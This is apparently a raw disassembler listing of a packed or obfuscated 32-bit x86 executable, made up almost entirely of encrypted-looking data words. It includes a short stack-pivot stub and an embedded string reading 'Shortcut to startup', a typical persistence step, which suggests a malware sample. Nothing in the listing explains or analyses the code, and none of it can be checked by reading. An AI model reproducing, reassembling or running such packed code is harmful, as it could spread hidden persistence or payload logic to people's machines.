		dd 1AF8BE56h, 58F516C9h, 6BDD341Dh, 90CDA7C8h, 940AC461h
		dd 9A16C919h, 5FC1EC2Ah, 9A6442h, 6FA40000h, 0E304A717h
		dd 879F93C2h, 0B96FC3EEh, 0C9B3C589h, 5988C516h, 34EE8B01h
		dd 1C32B737h, 0D79BC93Fh, 3B7B299Dh, 0C31320BFh, 0BAFCAA4Dh
		dd 441320BFh, 694F6CCEh, 36CEFC2Fh, 1320BFCFh, 3B690C5Bh
		dd 9FDF8D01h, 1F1320BFh, 0FD2A47A9h, 88B6E923h,	90E821BEh
		dd 67A37D20h, 4D6E9B38h, 6CE11D1Eh, 8A5D1F7h, 0DA18554Eh
		dd 0D3BB119h, 0AEDC0F49h, 3B2253CAh, 0BFBF6E0Ch, 4CE36A68h
		dd 9D7D2EDBh, 99C00116h, 9619A37h, 0FBD5F699h, 36F08DC0h
		dd 1C34362Dh, 98C6E359h, 4A7176Fh, 33574D56h, 1543B91Ch
		dd 0C7E41751h, 0D174A7E1h, 59BC02B0h, 0CC421327h, 3D6C772Fh
		dd 0A7408C89h, 0C309269Dh, 1EDE7EA0h, 2B6B19BCh, 0B3132742h
		dd 5BE6A03Dh, 51003303h, 0E716472Eh, 0F673ADD8h, 11F794A2h
		dd 5A87A4D7h, 0F6CB8B39h, 5DD30C33h, 6DA0DAC0h,	1B5A343Fh
		dd 9B7C2F0h, 0C33F645h,	0D471D349h, 5280B3EEh, 0F321548Eh
		dd 93C1F42Fh, 0F5A9CC1Bh, 31730279h, 0C1A7C4F7h, 0D7B15487h
		dd 753F6D98h, 0F4F621C4h, 9A371755h, 0A26E2h, 0A1660000h
		dd 0F2195A34h, 2F5DFAC4h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah
		dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh
		dd 4775A4E0h, 243A6886h, 1C890000h, 16E56824h, 1C890000h
		dd 64E6824h, 0C890000h,	92B95124h, 0BB0E2D69h, 141BACBCh
		dd 0C8BCB29h, 4C48124h,	68000000h, 58F7h, 83242489h, 59042404h
		dd 50D88950h, 0D4243481h, 8F77A111h, 71810841h,	0A111D408h
		dd 0C8B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 2434FF5Ch, 4C4835Bh,	0FB3792E9h, 3D9990FFh, 0E5129298h
		dd 0B76F8EA4h, 47F4B8B5h, 0C50305EEh, 308E0FFh,	0CC9D0470h
		dd 26D6386Dh, 6893653Ch, 6B79599Ch, 9E9A040Bh, 71B663BFh
		dd 9D063A89h, 0BD362C90h
		dd 0D0CB4468h, 0C8726BEBh, 703F1DD1h, 0CA5C6D5Fh, 79B42FD5h
		dd 18CD027Dh, 3DBD06D3h, 0A6F630BFh, 0B5EE5BF2h, 0F4C15F9h
		dd 42DF3914h, 0FE885033h, 0EDF79ACh, 0E29428A4h, 0E7925373h
		dd 39966751h, 29121627h, 8EA124BBh, 661A10D0h, 98DF3DA2h
		dd 40366305h, 79625B38h, 10E84A15h, 0AF000000h,	0BCBED582h
		dd 8ECC4560h, 6E4890A7h, 0B8968738h, 21DA6F6Ch,	81C38A59h
		dd 6225C1h, 0DF816600h,	6888E0h, 0B2000000h, 81665E0Fh
		dd 0FF2A19DAh, 20BF0E34h, 5B52F1AEh, 81D2F480h,	757A57C3h
		dd 0B899B87Eh, 0C38124C7h, 68FF01DFh, 0B587E281h, 0C38122A5h
		dd 5EA9DBADh, 40C78166h, 0B70F5385h, 31048FD2h,	0FFEBF0Fh
		dd 0C83h, 6870F00h, 81000000h, 712E28F7h, 2EE8369h, 4E4EC68Bh
		dd 6DE0B866h, 9E78FE81h, 850FFFFFh, 0FFFFFF9Fh,	5E8h, 0BF575C00h
		dd 81669539h, 58DB41EAh, 13E8h,	0A28C0A00h, 53A13DB8h
		dd 34821C95h, 0BBB46248h, 0A45D1E76h, 59FFB70Fh, 6E8h
		dd 0EE8AD300h, 0F346D98h, 815AC6B7h, 622CC1h, 61BEF800h
		dd 60000018h, 23C5EE81h, 9E854F4h, 0E4000000h, 0B26B7176h
		dd 47CD4626h, 0A97DD781h, 615A723Ah, 8B0F31FFh,	11h, 0CE9h
		dd 388ED700h, 92F1FD27h, 0DE0A50B1h, 19BF5BF6h,	816A2919h
		dd 14FE91F3h, 1BE7BA5Ah, 0F381285Ch, 70D4D09Ch,	5820Fh
		dd 7ABF0000h, 8128E4FAh, 8464E9EBh, 0E3EF816Eh,	896DFF0Eh
		dd 4E98319h, 0DF816653h, 4E5F54DFh, 0FFA6850Fh,	0F080FFFFh
		dd 8E85Fh, 0F1300000h, 217CDDCFh, 6E99212h, 0FC000000h
		dd 67F2DB4h, 81665A7Dh,	812223F1h, 6C4CC2h, 8E900h, 89DF0000h
		dd 0FAC3B3F4h, 687123h,	5B000000h, 14E8h, 94BA2200h, 0BC9BC6CFh
		dd 0FA4AFC2Fh, 88FFB8C4h, 127CD8FFh, 0F88B663Fh, 1A348B5Fh
		dd 8A0F6060h, 0
		dd 0CA8B61F8h, 0CCEE8161h, 0B857200Ah, 102BB1E6h, 8598EE81h
		dd 0DF811A76h, 437224F3h, 2A2BEE81h, 0BE9441Ah,	95000000h
		dd 0CFBC3BA1h, 0C14A6DFEh, 0E856B116h, 9, 0FFEA5113h, 66C989CAh
		dd 7BC0814Ah, 5F571D63h, 661A048Fh, 480EE781h, 0C0816057h
		dd 5E299DA4h, 61D78B66h, 0EFEB815Fh, 0F197776h,	0C381F8BFh
		dd 197776EBh, 0C1B70F51h, 0C0FB815Fh, 0FFFFF94h, 1C85h
		dd 0F98B6600h, 31E9h, 0E5DF1F00h, 4479D5EFh, 2E935D47h
		dd 0BAA86F79h, 0EB6D19C2h, 0E18166FCh, 52E95193h, 41FFFFFFh
		dd 42419191h, 0F78E9C40h, 0FAA31F73h, 0F8712503h, 0B0E9ACFDh
		dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 2345853Bh, 840F05E9h
		dd 36h,	39853Bh, 840F05E9h, 2Ah, 21D5853Bh, 840F05E9h
		dd 1Eh,	3321853Bh, 840F05E9h, 12h, 1CA5BD83h, 0F0105E9h
		dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh,	784A8B00h
		dd 840FC985h, 49h, 0F8C281h, 728B0000h,	8BC8030Ch, 518B1C59h
		dd 8BD80314h, 0FC9850Bh, 1084h,	0FCE3B00h, 1782h, 0FCF3B00h
		dd 0F83h, 4C38300h, 0DC850F4Ah,	0E9FFFFFFh, 0Dh, 4E6D9D8Dh
		dd 5B805E9h, 0FF000000h, 0BC361E3h, 0A98D8DD0h,	8905EE4Ch
		dd 0E926558Dh, 0B5095005h, 5E930D5h, 585C75Eh, 2805E908h
		dd 6A000072h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 952C357h, 8B064257h, 0E924E5BDh
		dd 3D85C705h, 5E916h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 6C84C351h, 0B5FFD5E1h
		dd 5E904BDh, 0FFF18B66h, 0E90BC595h, 3810F05h, 66000000h
		dd 8166D98Bh, 6A8D6BD2h, 9595FF00h, 8B05E91Eh, 3869EBC0h
		dd 66BA04DFh, 2C0CE625h, 0E92115E1h, 0C4231FF3h, 625EFC83h
		dd 5F26FD7Ah, 123E4014h, 0B37BB659h, 0A406C4B8h, 33624131h
		dd 1A7D7823h, 909F53C3h, 6C770810h, 0CBC3D20Ah,	67C4F749h
		dd 0D98AD4AEh, 9DD7ECE8h, 1A49445Bh, 0F1BF5FF7h, 62FF123Ch
		dd 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h
		dd 7FFE51BFh, 1D659D8Dh, 39B805E9h, 89000000h, 0E92AD985h
		dd 0E805h, 5580000h, 0Dh, 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 68536CEBh, 6374726Fh
		dd 74207475h, 7473206Fh, 75747261h, 70h, 13h dup(0)
		dd 52CC0000h, 142D8h, 0DAE90000h, 6800000Fh, 5EE4FA2h
		dd 0FBFC34E9h, 50A468FFh, 2AE905EEh, 68FFFBFCh,	5EE5266h
		dd 0FBFC20E9h, 52A568FFh, 16E905EEh, 68FFFBFCh,	5EE5379h
		dd 0FBFC0CE9h, 543068FFh, 2E905EEh, 68FFFBFCh, 5EE58B9h
		dd 0FBFBF8E9h, 5B2A68FFh, 0EEE905EEh, 68FFFBFBh, 5EE5C44h
		dd 0FBFBE4E9h, 0A259B9FFh, 712A90D3h, 3DFC5FA2h, 0CC72B6Eh
		dd 0DE95FA3Dh, 0AF3A4A0Fh, 7DC08F4Ah, 4B8E5D1Ch, 1B5E2DE4h
		dd 0AE3302B9h, 0B968524Dh, 0ED13D850h, 0E097F9F8h, 0C483E6F9h
		dd 7D3EA007h, 0D73E7F5Dh, 74341175h, 0E79B4A54h, 126CF8C7h
		dd 0AEFFFAE1h, 77E3A863h, 0B9257431h, 56D85772h, 167D3AF1h
		dd 8439F6B5h, 1EF3BBF8h, 9CAF1D5Eh, 0D9D88C42h,	43h, 0A4DEB03Ah
		dd 0E6CC8942h, 66CCDFC6h, 0F7C3EBE6h, 66ACDDBEh, 2FD6846h
		dd 0E3A808FDh, 54A360A6h, 0D857E66Eh, 0E2C09151h, 0D88BB269h
		dd 0FC0Ah, 46023900h, 0BD2520F4h, 0E6D857F0h, 183BDBA0h
		dd 0F9EF2806h, 7623E097h, 3EEBD63Fh, 0E3C11BB4h, 0BB2159BEh
		dd 0C027E404h, 79E09D5Eh, 66916017h, 0DDBE468Bh, 0E3DE66C8h
		dd 0DDBE35FBh, 85DDB9A4h, 9F6B923Bh, 0C17ADE7Fh, 383BAA1h
		dd 0A3B989EDh, 24DF43E4h, 50A38167h, 2FECAB0Dh,	52096F82h
		dd 0A70EAF95h, 0EAA412F0h, 0BA1F3219h, 5DB621FFh, 87A10904h
		dd 84CADDBEh, 8738A29Dh, 1D63DDBEh, 6A45323Fh, 0F83EE3A8h
		dd 10E19D29h, 3B442E29h, 0E92FE643h, 0CF8AEF02h, 2A948FE8h
		dd 55D66BBAh, 9BDE310Fh, 0DF98FA36h, 507A7522h,	3BD66BBAh
		dd 0C2B5D5F5h, 0CBDD6583h, 9432A265h, 5700000Dh, 226534F7h
		dd 0F13403BCh, 0C508D78Eh, 98DBAA61h, 0E4A97833h, 2DE449A0h
		dd 0FFBA1B5Eh, 0CF86ED30h, 9C5BBD00h, 0ECE748CDh, 0D850B8C2h
		dd 0F99287ADh, 850EDD94h, 78560D72h, 6B3AF153h,	3DA0B314h
		dd 0FDDBC17Eh, 1F06FF8Fh, 0A8089F24h, 0C582C8E3h, 57E64876h
		dd 8742A7D8h, 43FE63CAh, 0CA8740A2h, 34783965h,	0D3D29F5Fh
		dd 0A15AC0h, 3A20DD9Eh,	0B23D0E5Ch, 0C936D88Bh,	97000000h
		dd 1E1997F9h, 0DDBEF7B4h, 712EE54Bh, 18387E8Bh,	0D48FF45Bh
		dd 0FBE9C817h, 0C82ADDBEh, 5EB7400Fh, 0BEF37B63h, 0FB5D24DDh
		dd 193E1C3Ch, 934300B7h, 28230AFBh, 0E3A81E73h,	0D7CC4934h
		dd 0E53E14Ch, 86D007EEh, 50AB0E7Ah, 17A3F6D4h, 4EA78E67h
		dd 57556B53h, 9CE14D8h,	616AD86Eh, 85F0CED0h, 430FF38Ah
		dd 6F569CE6h, 18C2BD16h, 83D66BAFh, 0D53A5F3Dh,	0A70C4F1Eh
		dd 7064F9ECh, 0CF92CBDDh, 0C925Fh, 36F55500h, 5BE2467h
		dd 0D990F336h, 0A863C70Ah, 7A3196D9h, 4B9EE6ABh, 195C2BE6h
		dd 0EF3201B8h, 0BF02D188h, 4ACF9E5Dh, 0A7C4EEE9h, 89AFD850h
		dd 0DD94F994h, 0B269CB0Eh, 6015AE3h, 0DDBEF7DCh, 6AA381C7h
		dd 23E097F9h, 10A53F76h, 0D480E92Bh, 0B86FD1F6h, 0D0215DE9h
		dd 472DEEE9h, 0E9FCE3A8h, 5DEECC83h, 0A70B5A17h, 3CD85786h
		dd 0F75E1BD8h, 0D338D990h, 0E9D75B18h, 920FE4A8h, 3C42639h
		dd 0EFD76046h, 0E0D85786h, 8289460h, 0D2182557h, 977546F4h
		dd 0D88BCBB4h, 32DACE05h, 0F428C85Eh, 0D6B4D48Fh, 1827h
		dd 0E2435600h, 0A6846A27h, 8C1F06Dh, 0C41D0000h, 0BEF7E1C9h
		dd 66448ADDh, 25DEB02Dh, 366433Eh, 0F93FE3A8h, 0B473D53Ch
		dd 0C040A2E5h, 57FA1DC5h, 204086D8h, 3CA3B663h,	0FA1BC3BEh
		dd 3E84D857h, 9D7B611Eh, 0EA177C90h, 0FCBD4940h, 0C077DEF1h
		dd 1A3F1D03h, 62197EB8h, 0D09FBFA5h, 0D9C72B8Dh, 58EF4F8Ch
		dd 0F7799175h, 4C6CBCC1h, 0B3206F2Ch, 33B093D0h, 20797445h
		dd 93D0BD25h, 0CEFBE6B0h, 0CEDBCE68h, 0E106E404h, 0B6F9C87Fh
		dd 87D69354h, 0B093EE56h, 1FD4A5A9h, 0EC2FFEBDh, 6414D18Ah
		dd 0F7F2D92Ah, 8E851BD6h, 0C87FE2F5h, 2C1359EAh, 2200B719h
		dd 0A2BE47CFh, 312C13ECh, 90BE2168h, 65E34A11h,	41C4406Ah
		dd 0C5E52BA5h, 76605B08h, 21A541C4h, 0D09BBBDBh, 30EB269Dh
		dd 3FC92C3h, 12C211Ch, 2F75B4B8h, 33CCC272h, 7AE0F34Ch
		dd 7BD6E3C1h, 2CBF5242h, 8AECFFE6h, 667902D1h, 766DA3FFh
		dd 0A2029F9Bh, 1DFC582h, 0CEC17ADCh, 0A2EDF983h, 0D02A9A5Dh
		dd 9300000Ah, 66A97833h, 35784700h, 14413D2h, 0D417E69Dh
		dd 20E5B46Fh, 69208564h, 33F6579Ah, 3BA2164h, 0D88FF134h
		dd 28238409h, 0D850A5BEh, 0F9CEC3E9h, 0D4EDE097h, 72C00829h
		dd 0A913FAFh, 0F4540000h, 0BF256837h, 93F63908h, 5EC205D4h
		dd 2E93D6A5h, 0A5DFA473h, 5524DF44h, 2BFAB112h,	0FBCA81E8h
		dd 0C69556B8h, 0FDE5E041h, 0A6D850A5h, 97F98B80h, 0A5A0F9E0h
		dd 0DDBEF73Dh, 1422066h, 0D600FB54h, 2DDDBEF7h,	6C520FC6h
		dd 163B195Fh, 0A32BFAB1h, 6F80FE1Ah, 5C48D88h, 0A66DE3A8h
		dd 98638344h, 955FBC65h, 0FDF6889Ah, 7C261B16h,	296F240Eh
		dd 31C2BC6Ch, 74D0374Ah, 0F3C6D3C6h, 3FFC1C7Fh,	0B7107B59h
		dd 0C7843FA4h, 5BF603E1h, 722E2427h, 0EAA10619h, 14BE472Dh
		dd 0A50EC526h, 0C52600AAh, 18256B0Eh, 26A6100Bh, 8BD10EC5h
		dd 0B6FC8D6Bh, 0F955BCCFh, 0AB690D2h, 460323CAh, 4178260h
		dd 0D71AE9A2h, 0E8C3B675h, 3E1373A4h, 9BD0B7Bh,	20800000h
		dd 0E3498C5Bh, 0B71A5D2Ch, 8AEE3100h, 5ABF02D1h, 790BD09Fh
		dd 81500B70h, 4F1EDD3Eh, 1FEEA50Ch, 0F2C17ADCh,	0A9110C6Dh
		dd 0D2D850A4h, 7CB3B7ACh, 66C7E73Bh, 7263DEA3h,	67C9EECCh
		dd 55B6C9B0h, 15F3D996h, 0CE066DD4h, 0DF3B067h,	1ECF06EDh
		dd 5C5AA696h, 1AD790F2h, 0E3361434h, 0BE586EB8h, 0F3083FDDh
		dd 450EFB94h, 97E75533h, 0E1329C97h, 175DDDBEh,	5EB710F7h
		dd 0BEE17B63h, 0DE24DDh, 0AD525AF3h, 16FD43E3h,	1BEAA103h
		dd 0CEB576D8h, 93507A75h, 0F53BD850h, 0A6FD617h, 93258D88h
		dd 84ED850h, 5DC42BE8h,	4D86B3A6h, 6124C5E6h, 906F1h, 0B269C900h
		dd 813AA0E3h, 4D0C6FB2h, 1CD73B7Eh, 0EEA50A4Dh,	0BF2A5A1Fh
		dd 8DD09F5Ah, 5B9E6D2Ch, 2B6E3DF4h, 0BE4312C9h,	0A378625Dh
		dd 0FD23D850h, 1997F908h, 0BEF7B41Eh, 0B518DFDDh, 335339F6h
		dd 8DEF5613h, 0E28D11CEh, 549DD4ABh, 0A58340AEh, 0F71BAF7h
		dd 2E1D8958h, 47D2A334h, 58Bh, 0B8221D76h, 0E3DDBE68h
		dd 0B086BF9Dh, 0E53E25DEh, 0BEF7C0EAh, 8765ABDDh, 4428211Ch
		dd 8671E3ADh, 6064546Ch, 4A952884h, 6C79411Dh, 8B46AB4Ch
		dd 0E1C8E8CEh, 0C32A6CCEh, 49694F0Ch, 32E94F62h, 5EB18F75h
		dd 6249BED2h, 7532E94Fh, 0C370B18Fh, 0D59249B0h, 0AD0411EFh
		dd 0B252C509h, 843A1F2h, 6D51FD94h, 3Fh, 6F26899Ch, 32E94BB2h
		dd 0B0FB3412h, 454027DCh, 0DDBEF79Dh, 22D93F06h, 8CF64502h
		dd 0E3FE2659h, 0A108C57Ch, 72C7843Bh, 4C215526h, 6EDDCF8Ch
		dd 7F30A20h, 7,	2B4F068h, 0B04F0000h, 853EA4DEh, 0B2837E65h
		dd 6BE3AD44h, 0B4196825h, 0EBD850B9h, 0DEB0327Fh, 72433E25h
		dd 2BE6430Ah, 84EBFEE5h, 139CEFCDh, 6B17BFBAh, 0B980D662h
		dd 0FDE3A057h, 1DD63CDDh, 779C7A60h, 2D959012h,	7CD6626Bh
		dd 626B5981h, 0EFFC42D6h, 65CC89A9h, 0A566C800h, 0CA13C885h
		dd 0BA9853B7h, 21864F0Ch, 0F7589B6Ah, 0AF107734h, 317A2FECh
		dd 2301BA1Eh, 96A92475h, 0D794F832h, 3614FAB7h,	12F9B011h
		dd 6B14BEB9h, 397FD662h, 0DFDD085Bh, 0F4D6626Bh, 96EFD68Dh
		dd 626A339Bh, 2F165CD6h, 626A8A34h
		dd 0D1AFF5D6h, 22D93B7Eh, 0DCB0EA65h, 85E68727h, 0F7DA04FFh
		dd 7FC5DDBEh, 0F003945Fh, 2B11CE8Dh, 4C7284Dh, 69327E64h
		dd 2B924F06h, 9B500DC4h, 300A420Fh, 80CB397Ah, 0F5D2A2A1h
		dd 403h, 475AB356h, 329C25E4h, 5DDDBEF7h, 0AF143917h, 428B37F4h
		dd 2BE0B105h, 614944C6h, 0ADDBEF7h, 6623DE43h, 71406080h
		dd 5768B1E8h, 122825E0h, 28AA0F34h, 0BE0C852Dh,	0C427EEDDh
		dd 42624805h, 429B8222h, 0BE0C9F47h, 8B332EDDh,	0F4DDBE0Ch
		dd 7D5BA1AEh, 9434F758h, 1CD990F3h, 0D79453B5h,	0C872F2Ah
		dd 0AAF0DDBEh, 0EEA6F3F7h, 0D005561Ch, 9AE5B06Bh, 15BDB838h
		dd 0C6DDBE0Ch, 303E3ECAh, 0EA303D44h, 78DE0803h, 83C9DDBEh
		dd 28237C63h, 0DDBE78BEh, 84C5A3E9h, 0BE788835h, 0DE9B07DDh
		dd 0DF4B315h, 9918F1D6h, 82347BD4h, 8AD0A40h, 81D4B2D2h
		dd 6320D73Eh, 0BE3DAF14h, 7C3D23DDh, 9BD250B7h,	1278A310h
		dd 2C961FB3h, 57DDBE77h, 4D0E7011h, 7CD55E2Dh, 0BE775981h
		dd 1EFC42DDh, 0BF832511h, 0AC63CADDh, 1FE909EFh, 0D2A34A2Bh
		dd 0FFFED54Ah, 97F9ABFFh, 77C2F9E0h, 7FB1F3E1h,	0C2D0FAF5h
		dd 75BBDDBEh, 964DB455h, 0C02265B8h, 0C29D4540h, 1B06DDBEh
		dd 42E3CDA5h, 0AFCFEF7Bh, 993EA3F2h, 975DDBEh, 6A218348h
		dd 0B7F3589Bh, 0F0D69356h, 536613D0h, 974EB5EDh, 0EDD4F4DAh
		dd 0BE99C8F2h, 8F6DB3DDh, 32F6C182h, 5E9512AEh,	0A3C0A4D8h
		dd 44F2D0B9h, 2BB69577h, 6FBFA317h, 20000000h, 3E25DEB0h
		dd 0F7C0EAE5h, 0B517DDBEh, 465339F6h, 0BCB72200h, 0E3AD44FBh
		dd 52A15EA4h, 0D850BA69h, 0DBC98A4Ah, 0D8910470h, 17D03649h
		dd 0B88D3530h, 0B0F6D850h, 2723D2h, 11840000h, 0DDBF0159h
		dd 8EF508EFh, 4DB31AD7h, 0D3F3D996h, 0FD69C7F5h, 0F026FFFFh
		dd 16h,	6DA50A1Dh, 54325209h, 3CA0B31Bh, 0FEDCC27Fh, 232D0h
		dd 97F92F00h, 1D7623E0h, 0BEF7B822h, 30F8E3DDh,	0E11F9818h
		dd 0F91EFC1Ch, 8511E097h, 0FE11F809h, 381EDB9Ch, 0B3F4EF5Ah
		dd 6CE3A839h, 0B41A6926h, 17D857BCh, 328B1A57h,	57BC8F37h
		dd 0D4B2F8D8h, 8C08C586h, 25AED8h, 0B00F0000h, 433E25DEh
		dd 0E3A808BEh, 37E4A1E7h, 2B09C224h, 57E6B01Eh,	1E5B1BD8h
		dd 8BB29FACh, 0A7D4D8h,	0B3350000h, 623A7A7Ch, 0BDB894AEh
		dd 0DDBEA815h, 5318387Eh, 6682CC0Ah, 4290707h, 0C52CE9A2h
		dd 85ECA960h, 40A76423h, 234E1DDEh, 0DDBE214Ch,	0DC62C3Fh
		dd 678C6A50h, 5064A105h, 0D379FEA4h, 2658E4B3h,	7A8DE6CDh
		dd 74815F18h, 0E3AA311Fh, 0C8DBC208h, 96D9A863h, 80877A31h
		dd 0EEC5E47Bh, 47DBB2Bh, 0E0400000h, 0A3094C1Bh, 77DA1DECh
		dd 4AAEF1C0h, 1A7FC291h, 0B9CB905Fh, 4110CB30h,	0FDE9DFEh
		dd 0DFAE65CCh, 0B2813A9Ch, 0E9D1CC2Dh, 92D850AFh, 94F9776Ch
		dd 7FE3F6DDh, 5093E6C4h, 0D55E2DEEh, 0CAA85FC2h, 0F97CB391h
		dd 0E3A20536h, 0DA7B4026h, 6489676Bh, 0DF8C4902h, 0EFAC67CCh
		dd 0BF272209h, 0E8DDBE8Ch, 3D9FC4A2h, 433E977Eh, 0DDBE8C9Bh
		dd 404D0E70h, 3DC91CFAh, 0CEC9B041h, 0E3A879FDh, 667960A6h
		dd 2A6B4902h, 5771F1DBh, 0B2FFEDD8h, 0E3DE5E30h, 0D85771FBh
		dd 0E1EEAD10h, 99947B9Bh, 0E6418428h, 0D05C2B71h, 635E45BEh
		dd 0E87FD5EAh, 73866DB3h, 5F8A5910h, 0CC7E294Dh, 0A6A11F86h
		dd 0CC7E293Ch, 7D3EA067h, 19BADAC0h, 0EDDFDB4h,	42C2h
		dd 0AD112100h, 0F9DDBEF7h, 5FA27184h, 31803DFCh, 0DDBEF789h
		dd 68673460h, 0F7AA140Fh, 0ED5DDBEh, 0F3D1F1AAh, 0DDAC6BCEh
		dd 0A4DC4154h, 0AC698942h, 5CC3E8C6h, 3499E8A5h, 0A8DDBEF7h
		dd 0D53CF1C2h, 0F9F84F1Eh, 0E1F4DB92h, 84DE1E7Ah, 0A54B8842h
		dd 0FBE2C885h, 0BEECD600h, 9D7BC1DDh, 328EF55Ch, 9EBF724Bh
		dd 0A48BAB5Dh, 98762D91h, 94E5D357h, 7241F85Fh,	0BF8A2147h
		dd 0A1A973DDh, 14D2A351h, 6B16C0BBh, 3B81DDBEh,	0FF74AE5Dh
		dd 0F90FFFFFh, 3DFC5F97h, 0BD7A9A80h, 6433F456h, 664DA6D8h
		dd 0A80D3A6Bh, 0B91CE3E3h, 3F5F4502h, 0DA04FF58h, 0C5D857E1h
		dd 0B360A17Fh, 0C3803BA0h, 0CCF2FFDDh, 0EFD857E1h, 0CB80622Fh
		dd 0A8D88BD3h, 3Ah, 3A7CB309h, 0C892A27Ah, 0FFB81ABBh
		dd 2ADBB321h, 27B3EA43h, 0AE65C9D5h, 6F460BF1h,	9DAA8805h
		dd 0E3A8C510h, 0EF3EFB41h, 0D85729C3h, 7D6F2CECh, 0D88C7FCEh
		dd 0EBA7h, 97F90800h, 1D7623E0h, 0BEF7B822h, 0BF9DE3DDh
		dd 0C17E359Ah, 823FF85Ah, 3302B91Bh, 0BEFB2908h, 4F086ADDh
		dd 38EF5568h, 64B7957Bh, 2E41BF21h, 6D5310C7h, 0BEF2FAE4h
		dd 3F5FA5DDh, 2AE14558h, 68A9876Dh, 462DC6B8h, 0BF78DAEDh
		dd 82399B02h, 96778462h, 8FE3A7F9h, 98F17A49h, 0A8652485h
		dd 0FD9139C2h, 0FFAD857h, 0A66E65Eh, 25032397h,	472EC7B7h
		dd 43EE394Ch, 0B9A0E6E6h, 0C8C341A6h, 0D66BE01Eh, 54234389h
		dd 2F5AC11h, 0CBDD3E09h, 0C2C9C5Fh, 0CF000002h,	9ADDAC6Fh
		dd 69AC7B34h, 3D804F06h, 105322D9h, 5C21F0ABh, 0A55CC128h
		dd 773293D6h, 47FE65A8h, 14D33578h, 645FC045h, 0D850AC7Ah
		dd 0F90AFF25h, 41FA5C94h, 0C4273A21h, 0F79B433Eh, 0BE04DDBEh
		dd 1DFBE19Eh, 0E52587CAh, 0CD2B2581h, 0ECE0415Dh, 86DDACCCh
		dd 3E25DEB0h, 0A808BE43h, 5FCE7E3h, 890859Ch, 91E09DBDh
		dd 0D8573C2Dh, 1F8DCE8Eh, 0D88C6C2Ch, 62197A8Dh, 1FD83EA5h
		dd 7E5C7C62h, 0CDCFh, 97F93000h, 8340FB5Fh, 59C07D9Dh
		dd 0D3803DF4h, 0FC799C9Ch, 0CC2F8C83h, 4A6A500Dh, 0E442EC85h
		dd 0D9B7029Ah, 0BE2B15CCh, 44CC2EDDh, 0BE226149h, 0A4C40ADDh
		dd 9047AABDh, 0BC0FEDD3h, 0A3601779h, 836A9BF3h, 0A7298788h
		dd 8B5AA0E3h, 4AEA902h,	6FD8572Dh, 0A1DD4B29h, 0BC6E6950h
		dd 67E64376h, 67775F5Ah, 4068D66Bh, 623B4854h, 1F844B58h
		dd 0A1C1A764h, 0BDDCDDDCh, 91B1E884h, 0F63297AAh, 361CD992h
		dd 9F044716h, 0D2E2F1E4h, 8144CBDDh, 0F211h, 9655B500h
		dd 651E84C7h, 39F05396h, 8C3276Ah, 0DA91F639h, 0AB3E460Bh
		dd 79BC8B46h, 4F926118h, 1F6231E8h, 0AA2FFEBDh,	0AB644E49h
		dd 0E90FD850h, 0DD94F9F4h, 0B269CB0Eh, 97F98CE3h, 0A5A0F9E0h
		dd 0DDBEF73Dh, 1422066h, 99FE389Ah, 1F3F25E2h, 39CAC450h
		dd 44825752h, 0FD43E3ADh, 0B577DF16h, 3B0A721Dh, 5C6F1C5Dh
		dd 997F3CF7h, 1C9C6CD4h, 3311A72Ch, 1CEBAC0Eh, 0D9C077D9h
		dd 0CD5D8580h, 46D850h,	9592E122h, 3A211B39h, 0FB621FD8h
		dd 3CFB5E9Ah, 0BC79997Fh, 0CEF77A31h, 7F6B6C9h,	87763E7Bh
		dd 1375BEFBh, 0D196568Dh, 84D0FBFAh, 9AF5D3FBh,	5676BC90h
		dd 29E24487h, 0EAA1056Ch, 0DF9CC82Dh, 24F3B416h, 0E1C87FE1h
		dd 0B365188h, 4BD9E252h, 9A7C18C2h, 783D8390h, 6E7F7817h
		dd 0FC3D1BCBh, 0A8Ch, 907DEB00h, 9E5B1A7Dh, 0F9A1DAB8h
		dd 0BE25E299h, 77DE9B5Ch, 359C5910h, 0F15815D4h, 0B118D58Ch
		dd 71D8954Ch, 3299560Dh, 0F45B18CFh, 8118D58Eh,	30C268h
		dd 241C8900h, 45A968h, 242C8900h, 484D68h, 24048900h, 2B5868h
		dd 241C8900h, 0EE4E40BBh, 5BDD8905h, 24048B54h,	6804C483h
		dd 0D1h, 8F242C89h, 34FF0840h, 0C4815824h, 4
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552BF1
; ---------------------------------------------------------------------------
		dd 0CB65DAE1h, 3B535FBBh, 5D5BB8D6h, 0C50305EEh, 9C4BE0FFh
		dd 7B417247h, 0A8F47052h, 0DE4B66B9h, 13B6BFEh,	0A4AE644Dh
		dd 0E3602EC9h, 5E0714BBh, 0AE400030h, 12EB4FC4h, 1B014BA7h
		dd 0EF737622h, 0D3613730h, 7CC026D3h, 0EE972C58h, 76E858BAh
		dd 0DB2A24C6h, 0BDCA106Ah, 21761495h, 14CF29F8h, 4E082C6Bh
		dd 0CD9C74DAh, 3BB61662h, 0BB206583h, 4DD422B5h, 0E1D4260Bh
		dd 1D282E0Dh, 0A6170825h, 6D732A2Ch, 8D3F36A9h,	1971CD0h
		dd 8D8D6D6Ah, 5EE5F18h,	3201B529h, 0EE905E9h, 72000000h
		dd 54F972B5h, 3B6D29EDh, 894AA578h, 558D8949h, 5305E926h
		dd 1D69958Bh, 0C75805E9h, 0E9080585h, 6EAC05h, 41B53300h
		dd 0C705E926h, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8D89C818h
		dd 5E910C9h, 321DB5FFh,	6A05E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 3DB36EC3h, 0DBBB66BAh
		dd 6810F19h, 1000000h, 0E921BD95h, 0C595FF05h, 6A05E90Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
